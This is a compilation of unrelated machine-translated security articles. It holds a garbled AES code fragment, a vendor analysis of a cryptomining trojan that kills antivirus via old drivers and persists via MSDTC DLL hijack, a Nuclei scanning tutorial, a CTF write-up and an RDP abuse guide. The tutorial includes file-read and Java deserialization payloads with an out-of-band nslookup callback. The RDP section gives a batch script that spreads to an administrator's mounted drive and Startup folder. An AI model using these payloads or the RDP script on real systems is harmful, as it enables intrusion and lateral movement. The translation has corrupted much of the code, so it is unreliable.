Forjinrange(1,4): byte=self.round_keys [i-4] [j] \ ^sbox [self.round_keys [i-1] [(j+1)%4]] self.round_keys [i] .append(byte) else: Forjinrange(4): byte=self.round_keys [i-4] [j] \ ^self.round_keys [i-1] [j] self.round_keys [i] .append(byte) #self.round_keys defencrypt(self、plantext): self.plain_state=text2matrix(plantext) self .__ add_round_key(self.plain_state、self.round_keys [:4]) Foriinrange(1,10): self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1))) self .__ sub_bytes(self.plain_state) self .__ shift_rows(self.plain_state) self .__ add_round_key(self.plain_state、self.round_keys [40:]) returnMatrix2Text(self.plain_state) defdecrypt(self、ciphertext): self.cipher_state=text2matrix(ciphertext) self .__ add_round_key(self.cipher_state、self.round_keys [40:]) self .__ inv_shift_rows(self.cipher_state) self .__ inv_sub_bytes(self.cipher_state) Foriinrange(9,0、-1): self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1))) self .__ add_round_key(self.cipher_state、self.round_keys [:4]) returnMatrix2Text(self.cipher_state) def__add_round_key(self、s、k): Foriinrange(4): Forjinrange(4): s [i] [j]^=k [i] [j] def__round_encrypt(self、state_matrix、key_matrix): self .__ sub_bytes(state_matrix) self .__ shift_rows(state_matrix) self .__ mix_columns(state_matrix) self .__ add_round_key(state_matrix、key_matrix) def__round_decrypt(
-
標題:“匿鏟”挖礦木馬活動分析
1 概述近期,安天CERT通過網絡安全監測發現了一起新的挖礦木馬攻擊事件,該挖礦木馬從2023年11月開始出現,期間多次升級組件,目前版本為3.0。截止到發稿前,該挖礦木馬攻擊事件持續活躍,感染量呈上升態勢。主要特點是隱蔽性強、反分析、DLL劫持後門和shellcode注入等,因此安天CERT將該挖礦木馬命名為“匿鏟”。 在此次攻擊活動中,攻擊者利用了兩個比較新穎的技術以對抗反病毒軟件,第一個技術是濫用反病毒軟件的舊版本內核驅動程序中的功能來結束反病毒軟件和EDR,這個技術通過一個主體的PowerShell腳本、一個獨立的PowerShell腳本和一個控制器(內存加載的小型可執行文件)來完成,主體的PowerShell腳本用於下載並安裝反病毒軟件的舊版本內核驅動程序,獨立的PowerShell腳本用於解密並內存加載控制器,控制器用來控制內核驅動程序。雖然被濫用的舊版本內核驅動程序早已更新,但目前仍能被非法利用並有效結束大多數反病毒軟件。 第二個技術是利用MSDTC服務加載後門DLL,實現自啟動後門,達到持久化的目的。這個技術利用了MSDTC服務中MTxOCI組件的機制,在開啟MSDTC服務後,該組件會搜索oci.dll,默認情況下Windows系統不包含oci.dll。攻擊者會下載後門DLL重命名為oci.dll並放在指定目錄下,通過PowerShell腳本中的命令創建MSDTC服務,這樣該服務會加載oci.dll後門,形成持久化操作。 經驗證,安天智甲終端防禦系統不會被反病毒軟件的舊版本內核驅動程序所阻斷,也能夠對該後門DLL的有效查殺。 2 攻擊流程“匿鏟”挖礦木馬首先會從放馬服務器上下載名為“get.png”的PowerShell腳本,解碼後執行哈希驗證、創建計劃任務、禁用系統自帶殺毒軟件和創建服務等操作。 之後會下載“kill.png”腳本和“delete.png”、“kill(1).png”兩個壓縮文件,腳本解碼出shellcode代碼,shellcode代碼經過解密得到控制器(一個可執行文件)並註入到powershell.exe進程中,兩個壓縮文件經過解壓縮得到反病毒廠商的舊版本內核驅動程序“aswArPots.sys”和“IObitUnlockers.sys”,由控制器調用,終止殺毒軟件和EDR程序等。還會根據受害主機自身系統型號下載對應的“86/64.png”的壓縮文件,解壓縮後會得到oci.dll文件,通過MSDTC服務調用實現DLL劫持後門。 在“get.png”腳本中還看到了下載“backup.png”腳本的地址,但下載函數還未實現,可能後續版本會加,該腳本主要功能是發送心跳接收命令等。最後“get.png”腳本會下載“smartsscreen.exe”程序,該程序會下載挖礦程序及其組件進行挖礦。 圖2‑1 攻擊流程圖 3 樣本梳理與功能分析3.1 樣本梳理針對該挖礦木馬攻擊,對其樣本及功能進行梳理,如下表所示: 表3‑1 樣本及功能梳理 樣本名 落地名 樣本路徑 功能 get.png 不落地 內存中 初始投放載荷,下載後續樣本,持久化 backup.png 無 無 初始投放載荷沒有定義下載該樣本,推測後續增加 run.bat run.bat C:\Users\Public powershell命令下載get.png kill.png 不落地 powershell.exe內存中 終止殺毒軟件和EDR等進程 kill.png(1) aswArPots.sys C:\Windows\System32\drivers delete.png IObitUnlockers.sys C:\Windows\System32\drivers 強制刪除文件和進程 86.png/64.png oci.dll C:\Windows\System32 DLL劫持後門 smartsscreen.png smartsscreen.exe C:\Windows\Fonts 下載挖礦程序等 curl.png curl.exe C:\Windows\Fonts curl官方文件 config.json config.json C:\Windows\Fonts 挖礦配置文件 taskhostw.png taskhostw.exe C:\Windows\Fonts XMRig挖礦程序 WinRing0x64/32.png WinRing0x64/32.sys C:\Windows\Fonts 挖礦驅動程序 config.txt 不落地 無 包含版本信息及樣本哈希 表3‑2 挖礦程序中的礦池地址和錢包地址 礦池地址 錢包地址 111.90.143.130:80 ZEPHYR2ty7pYE3wUdjLn1QKsFLiatXdMZHZzQSJToaoFM1LvWPzuqsvdtLzXRRk2hhFTxLCvLnAr4XJBCvrVfUeP8F6XC7QLgza47 93.95.228.47:80 zephyr.herominers.com:1123 3.2 樣本功能分析3.2.1 核心腳本模塊分析(get.png)利用系統自帶的工具刪除指定計劃任務、結束指定進程和停止指定服務,疑似清理與其存在競爭關係的挖礦木馬持久化操 圖3‑1 刪除計劃任務等 遍歷所有可能的驅動器字母(從A到Z),檢查每個驅動器是否有足夠的可用空間。如果找到符合條件的驅動器,則返回該驅動器的名稱,如果遍歷完所有驅動器都沒有找到,則返回空。 圖3‑2 遍歷驅動器 清理C:\Windows\Installer目錄中的空間,查找該目錄中最大的文件。搜索C:驅動器根目錄和除了一些系統目錄之外的所有子目錄中具有特定擴展名(.exe、msi、iso、7z、rar、zip)的最大文件。如果找到了最大的文件,將其刪除,以便釋放空間。 圖3‑3 釋放空間 定義了所需的空間量為10MB,如果找到了一個合適的驅動器,函數將嘗試創建一個隱藏的目錄\$RECYCLE.BIN\Fonts來保存文件。 圖3‑4 下載文件存放位置 嘗試通過DoH服務獲取域名對應的IP地址,如果失敗,則嘗試使用傳統的DNS查詢方法。如果兩種方法都失敗,則使用備份的IP地址。目的是確保可以獲取到用於HTTP和FTP下載的域名的IP地址。 圖3‑5 獲取域名對應IP地址 通過字符串替換操作來更新配置信息,以確保配置文件中的下載地址與實際的下載服務器地址一致。添加一個時間戳參數,通常用於確保每次請求都會加載最新的內容,而不是從緩存中加載。將HTTP地址轉換為FTP地址,並移除了可能存在的時間戳參數。 圖3‑6 更新配置信息 創建多個計劃任務,分別執行後續下載到的載荷。計劃任務名分別為“OneDriveCloudSync”、“DefaultBrowserUpdate”、“OneDriveCloudBackup”,分別對應執行更新程序、自身文件、smartsscrren.exe。 圖3‑7 創建計劃任務 清理自身舊的進程。 圖3‑8 清理自身舊的進程 從遠程服務器獲取配置信息,並確保配置信息中的某些字符串哈希值存在。如果這些字符串存在,函數將停止循環,並繼續執行後續的腳本操作。如果字符串不存在,嘗試使用FTP協議再次下載配置信息。 圖3‑9 驗證配置信息是否一致 配置信息如下,其中包括curl、xm、xmc、xms、smart、scan、ms86、ms64、dkill和ddelete字符串。 圖3‑10 配置信息 禁用Windows Defender的實時監控,關閉rpc服務,清理系統的垃圾文件和日誌等。 圖3‑11 禁用系統自帶殺毒軟件 從指定的URL下載文件並保存到C:\Windows\System32\drivers,創建並啟動名為aswArPots和IObitUnlockers的服務。 圖3‑12 創建服務 停止並重啟MSDTC服務,將下載的適用於主機系統的x86.png或x64.png重命名為oci.dll並保存在C:\Windows\System32中,通過MSDTC服務實現DLL劫持後門。 圖3‑13 DLL劫持後門 最後下載並運行多個後續組件,具體如圖所示。 圖3‑14 下載後續組件 3.2.2 遠控模塊分析(backup.png)該腳本用於將日期時間、受害者主機名進行2次BASE編碼並回傳至攻擊者服務器,不斷地向服務器發送心跳信號,接收命令,執行這些命令,並將命令的輸出結果發送回服務器。 圖3‑15 發送心跳包等至服務器 3.2.3 對抗模塊分析(kill.png)該腳本實際為壓縮和BASE64編碼後的PowerShell腳本,該腳本會解密多層載荷,並在最後將一段shellcode代碼注入到powershell.exe進程中。 圖3‑16 進程注入 shellcode會解密內嵌的一段PE再次實現內存加載。最終加載的PE數據為白名單驅動利用模塊,該模塊會偽裝白名單通信的驅動協議,操縱底層驅動利用系統權限刪除、終止指定的進程或文件,大部分進程為殺毒軟件、防火牆、沙箱等安全軟件的核心進程。該可執行文件旨在整理正在運行的進程列表,然後將它們與Anti-Virus和EDR進程名稱的CRC64校驗和值的混淆硬編碼列表進行比較。如果任何進程名稱與硬編碼列表中的條目直接關聯,則會將I/O控制(IOCTL)代碼發送到Avast驅動程序,從而導致進程終止。部分被列入攻擊者處理名單的進程名如下: 圖3‑17 反殺毒軟件驅動 3.2.4 自我更新模塊分析(86/64.png)msdtc目錄下具有兩個文件:“86.png”、“64.png”。分別對應32位環境與64位環境,兩個樣本在代碼結構方面完全一致,僅在編譯時選擇的目標系統位數不同。該文件僅負責從攻擊者服務器重新下載“get.png”並執行,用於自我更新。 圖3‑18 自我更新下載get.png 3.2.5 挖礦組件下載器模塊分析(smartsscreen.exe)該文件為挖礦組件的下載模塊,由Golang語言開發,運行後會訪問攻擊者服務器下載挖礦各個組件等。 圖3‑19 下載後續挖礦組件 該組件運行後會訪問攻擊者服務器下載“config.txt”、“curl.png”用於校驗挖礦組件HASH與下載挖礦組件。隨後分別訪問下載XMRig官方開源挖礦組件。其中“taskhostw.png”為挖礦程序,“config.json”為挖礦配置文件,“WinRing0x64.png”為XMRig運行所需驅動。 圖3‑20 下載挖礦組件網絡數據 4 挖礦木馬落地排查與清除方案4.1 挖礦木馬落地識別1. 計劃任務計劃任務名 對應樣本路徑 DefaultBrowserUpdate C:\Users\Public\run.bat OneDriveCloudBackup cmd.exe /c start C:\Windows\Fonts\smartsscreen.exe OneDriveCloudSync cmd.exe /c C:\Windows\System32\sc.exe start msdtc 2. 文件文件名 路徑 smartsscreen.exe C:\Windows\Fonts taskhostw.exe WinRing0x64/32.sys curl.exe config.json run.bat C:\Users\Public\run.bat oci.dll C:\Windows\System32 aswArPots.sys C:\Windows\System32\drivers IObitUnlockers.sys 3. 服務服務名 對應註冊表 MSDTC HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC 4. 進程進程名 路徑 powershell.exe 內存執行 smartsscreen.exe C:\Windows\Fonts taskhostw.exe 5. 網絡IP 功能 111.90.158.40 掛馬服務器 111.90.143.130:80 礦池地址 93.95.228.47:80 4.2 清除方案建議採用安天系統安全內核分析工具(ATool)*免費版(下載地址:https://vs2.antiy.cn/)進行檢測查殺,首先刪除三個計劃任務,計劃任務名為DefaultBrowserUpdate、OneDriveCloudBackup和OneDriveCloudSync。 圖4‑1 刪除計劃任務 結束相應進程,smartsscreen.exe、taskhostw.exe和powershell.exe。 圖4‑2 結束相應進程 刪除挖礦程序等對應目錄中的樣本。 圖4‑3 刪除對應目錄樣本 刪除對應的驅動文件,aswArPots.sys和IObitUnlockers.sys。重啟MSDTC服務,如不是自身創建,可對應刪除該服務。 圖4‑4 刪除對應驅動文件 5 事件對應的ATTCK映射圖譜針對攻擊者投放挖礦木馬的完整過程,安天梳理本次攻擊事件對應的ATTCK映射圖譜如下圖所示。 圖5‑1 事件對應的ATTCK映射圖譜 攻擊者使用的技術點如下表所示: 表5‑1 事件對應的ATTCK技術行為描述表 ATTCK階段/類別 具體行為 註釋 執行 利用命令和腳本解釋器 使用PowerShell腳本命令 持久化 執行流程劫持 利用oci.dll劫持 利用計劃任務/工作 創建計劃任務 防禦
-
タイトル:Nucleiテンプレートの書き込み概要
1。スクリプトの構文形式 ケース感度 インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。 キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。 リスト:短い水平線を使用して、リスト内のアイテムを表します。 コメント:#から始まる行はコメントです。 文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。 IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。 情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。 名前:テンプレート名、この提案はIDと同じです 重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。 説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。 タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。 私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。 試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます 2。一般的な核コマンド 1。テンプレート形式を確認します Nuclei -T test.yaml -validate 2.テンプレートとターゲットを指定します Nuclei -T test.yaml -u http://exam.com 3。バッチスキャン Nuclei -T test.yaml -l Target.txt 4. Socks5プロキシスキャンを指定します Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890 3。スクリプトの例 ID:ファイルインクルード#テンプレートの一意の識別子 info:#名前、著者、バージョンなど、テンプレートの基本情報。 name:ファイルには、スクリプトの名前が含まれています 著者: bakclion #template著者 severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です 説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ Reference: http://www.baidu.com #Reference Source tags:テスト#categoryタグ requests:#ターゲットと対話する方法のリクエストセクションを定義します -Method: getやpostなどの#httpメソッドを取得する PATH: #requested Path - '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd' Headers: #Requestヘッダー user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36' Matchers: -Type:ステータス#マッチバックパックステータス Status: -200 -Type: REGEX #Match戻りコンテンツ パート:ボディ regex: - 'root:x:0:0:root3360/root3360/bin/bash' iv。スクリプト構成 1。開始 id: landray-oa-fileread info: name: landray-oa-fileread 著者:バックライオン 重大度:高 説明: | lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です fofa: app='landray-oa system' Reference: https://github.com/backslion tags: fileread、landray 2.request を取得します リクエスト: -Method: GET PATH: - '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties' post requests: -Method:投稿 PATH: - '{{baseurl}}/sys/ui/extend/varkind/custom.jsp' Headers: Content-Type:アプリケーション/x-www-form-urlencoded body: 'var={' body': {'file':'file: ///etc/passwd'}} ' raw requests: -Raw: - | post /spirit/interface/gateway.php http/1.1 host: {{hostname}} Content-Type:アプリケーション/x-www-form-urlencoded json={'url':'/general /././mysql5/my.ini '} ジャンプ -method: get PATH: - '{{baseurl}}' Redirects: True max-redirects: 2 または リクエスト: -Raw: - | get/zentao/api-getmodel-editor-save-filepath=bote http/1.1 Redirects: True max-redirects: 3 パス リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。 {{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。 {{randstr}}:これはランダムな文字列です。 {{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。 {{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。 {{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。 {{host}}:example.comなどのホスト名を表します。 {{port}}:ポート番号、たとえば443を示します。 {{path}}: /seeyon /loginなどのパスを表します。 {{file}}:bar.phpなどのファイル名を表します。 {{Scheme}}:HTTPSなどのプロトコルを表します。 {{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。 MD5():これは、MD5によって変換された予約された単語です 変数値 {{baseurl}} https://example.com:443/foo/bar.php {{rooturl}} https://example.com:443 {{hostname}} example.com:443 {{host}} example.com {{port}} 443 {{path}} /foo {{file}} bar.php {{Scheme}} https 一撃の停止 一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。 リクエスト: -Method: GET PATH: - '{{baseurl}}' - '{{baseurl}}/login' - '{{baseurl}}/main' - '{{baseurl}}/index' Stop-at-first-match: true oob Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。 リクエスト: -Raw: - | get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1 host: {{hostname}} Java Deserialization raw: - | post /index.faces; jsessionid=x http /1.1 host: {{hostname}} Accept-Encoding: gzip、deflate Content-Length: 1882 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Connection:閉じます Content-Type:アプリケーション/x-www-form-urlencoded javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}} 3.Matcher Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています Matchers: -Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice - 'status_code_1==200 status_code_2==302' - 'all_headers_1==' admin 'all_headers_2==' index '' condition:と#need上記の2つの条件を同時に満たす -Type:ワード Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。 - 「admin.php」 - '61646D696E2E706870' - '{{match_str}}' Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex #次の設定は基本的に一般的です(!注:DSLタイプを除く) PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。 条件:または#match結果論理操作と| or ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false -Type:ステータス Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています -200 -Type: REGEX regex:#Stringsliceを一致させるデータの規則性を使用します - '。*\ admin.php。*' -Type:バイナリ binary: #sistingsliceを一致させるデータのバイナリを使用します - '61646D696E2E706870' -Type:サイズ size: #returnパケットデータサイズ(注:ボディデータを参照)intslice -1234 DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。 変数名説明例出力データContent_Length コンテンツ長ヘッダー content_length 12345 status_code 応答ステータスコード status_code 200 all_headers ヘッダー情報に戻ります 体 身体情報を返します body_1 header_name ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます user_agent xxxx header_name ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます set_cookie xxx=
-
タイトル:2番目のデータセキュリティ競争「Cealte Cup」データセキュリティコンペティションWP
1. pyc PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。 #!/usr/bin/env python #詳細については、https://tool.lu/pyc/をご覧ください #version: python 3.8 ランダムをインポートします def encrypt_file(file_path): random.seed(114514) #警告: Decompyleが不完全 file_path='./flag' encrypt_file(file_path) 次に、AI分析を使用して、対応する復号化スクリプトを取得します ランダムをインポートします OSをインポートします def decrypt_data(encrypted_data): random.seed(114514) decrypted_data=bytearray() byte in necrypted_data:の場合 key=random.randint(0、128) decrypted_data.append(byte ^ key) decrypted_dataを返します def read_file(file_path、mode='rb'): open(file_path、mode)をfile:として file.read()を返します def write_file(file_path、data、mode='wb'): open(file_path、mode)をfile:として file.write(data) def decrypt_file(encrypted_file_path、output_file_path): encrypted_data=read_file(encrypted_file_path) decrypted_data=decrypt_data(encrypted_data) write_file(output_file_path、decrypted_data) __NAME __=='__ Main __' :の場合 encrypted_file_path='flag.enc' output_file_path='flag_decrypted.txt' decrypt_file(encrypted_file_path、output_file_path) #flag {u_r_g00d_at_do1n_pyc} 2. mwatch ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)} 心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください フラグ{MD5(MIスマートバンド5_REDMI K40_128)} フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14} 3. babyrsa ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか? ソースコード: #task.py #!/usr/bin/env python3 # - * - coding: utf-8-* - 秘密のインポートフラグから、init crypto.util.Numberインポートから * sage.allからimport * gmpy2インポートirootから m=bytes_to_long(flag.encode()) r=getPrime(128) p=init #範囲(r-1):の場合 #p +=next_prime(init) #arsert iroot(p、3)[1]==1 Q=getPrime(12) #n=p*q*r n=r ** 4*q E=getPrime(17) c=pow(m、e、n) 印刷(f'r={r} ') print(f'e={e} ') 印刷(f'c={c} ') #R=287040188443069778047400125757341514899 #E=96001 #c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625 Qを取得するために12ビットの素数を爆破してから復号化します crypto.util.Numberからlong_to_bytesをインポートします R=287040188443069778047400125757341514899 E=96001 c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625 #指数のモジュラスが実際にr ** 4であると仮定すると n=r ** 4 #emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります #RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n) #ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません phi_n=r ** 4 -r ** 3 d=inverse(e、phi_n) #メッセージを復号化します m=pow(c、d、n) #番号をバイトに変換します メッセージ=long_to_bytes(m) 印刷(メッセージ) #flag {3b0ce326141ea4f6b5bf2f37efbd1b42} 4. バックパック BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化 #!/usr/bin/env python3 # - * - coding: utf-8-* - sage.allからimport * 秘密のインポートフラグから crypto.util.Numberインポートから * 数学からインポートlog2から クラスナープサック: def __init __(self、n、m): self.m=[] self.n=n self.m=self.pre(m) self.a=0 self.b=0 def pre(self、m): tmp_m=bin(m)[2:] t=[] TMP_M:のTMPの場合 T.Append(int(tmp)) tを返します def get_m(self): seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)] self.m=seq def calc_denity(self): t=log2(max(self.m)) d=self.n/t 印刷(d) def enc(self): self.get_m() self.calc_dences() c=0 範囲のt(len(self.m)): c +=self.m [t] * self.m [t] 印刷(f'c={c} ') print(f'm={self.m} ') __NAME __=='__ Main __' :の場合 m=bytes_to_long(flag.encode()) n=m.bit_length() k=ナップサック(n、m) k.enc() #c=231282844744 #M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920] Sagemathで実行: crypto.util.Number inmort long_to_bytesから C=231282844744 M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、 23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、 33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、 31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、 30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、 21108080920] l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。 L:の行 row [-1]==0およびlen(set(row [:-1]))==1:の場合 #最後の要素を除くすべての要素が同じであると仮定すると同じです ans=[abs(i)in ow in ow in [:-1]] ans=int( ''。join(map(str、ans))、2) print(long_to_bytes(ans)) 5. ターゲットを絞ったデータ収集 OpenPyxlをインポートします リクエストをインポートします インポート時間 urllib.parseインポートurlencodeから burp0_url='http://121.40.65.125:23328/submit' Def devery_name_and_id(input_file、output_file): wb=openpyxl.load_workbook(input_file) ws=wb.active ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合 行[0] :の場合 名前、id_number=row [0] .split( '----')#extrame name and Identityカード 印刷(名前、id_number) Age=2024-int(id_number [6:10]) if(int(id_number [10:12])4): 年齢- =1 sexx=u'male ' burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx} sexx2=u'female ' burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2} try: r0=requests.post(burp0_url、json=burp0_json) r1=requests.post(burp0_url、json=burp0_json1) print(r0.request.body) print(r0.text、r1.text) #time.sleep(0.5) requests.exceptions:を除く print( 'err') #time.sleep(2) #ws.append([name.strip()、id_number.strip()]) #wb.save(output_file) wb.close() __name__=='__main __' :の場合 input_file='data1.xlsx' output_file='deprosed_data.xlsx' #Noの使用、破棄されます devery_name_and_id(input_file、output_file) 6. 天気 レビューbundle.js アクセスするパラメーターを取得します 7.mysqlクリーンアップ ヒント: 要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123) ( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。 ( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 '); userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 '); user_id in( '5142'、 '2123'、'1169 '、' 8623 '); ( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 '); テーブルを再構築し、削除後に残りのデータをクリアします Alter Tableユーザーエンジン=innodb; Alter Table userlog Engine=innodb; Table TransactionHistory Engine=Innodbを変更します。 Alter Table ShopphingCart Engine=Innodb; Alter Table Orders Engine=Innodb; 8. ファントムスクエア 第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください Hashlibをインポートします ランダムをインポートします 文字列をインポートします #文字セットを英数字として定義します charset=string.ascii_letters + string.digits true: #チャーセットからランダムな4文字列を生成します rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud' #文字列のSHA-256ハッシュを計算します hash_output=hashlib.sha256(rand_str.encode())。hexdigest() #ハッシュがターゲットハッシュと一致するかどうかを確認します hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合 print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します 壊す '' ' [2、7、6、9、5、1、4、3、8] [2、9、4、7、5、3、6、1、8] [4、3、8、9、5、1、2、7、6] [4、9、2、3、5、7、8、1、6] [6、1、8、7、5、3、2、9、4] [6、7、2、1、5、9、8、3、4] [8、1、6、3、5、7、4、9、2] [8、3、4、1、5、9、6、7、2] 4 3 8 9 5 1 2 7 6 '' '
-
タイトル:RDP使用スキルの概要
最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。 rdpinception この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。 @ECHOオフ Windowsの更新をエコー. @ECHOオフ タイムアウト1 NUL 21 mkdir \\ tsclient \ c \ temp nul 21 MKDIR C: \ TEMP NUL 21 run.bat c: \ temp nul 21をコピーします run.bat \\ tsclient \ c \ temp nul 21をコピーします del /q%temp%\ temp_00.txt nul 21 dirs=dir /a:d /b /s c: \ users \*startup* dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup* echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt' echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start 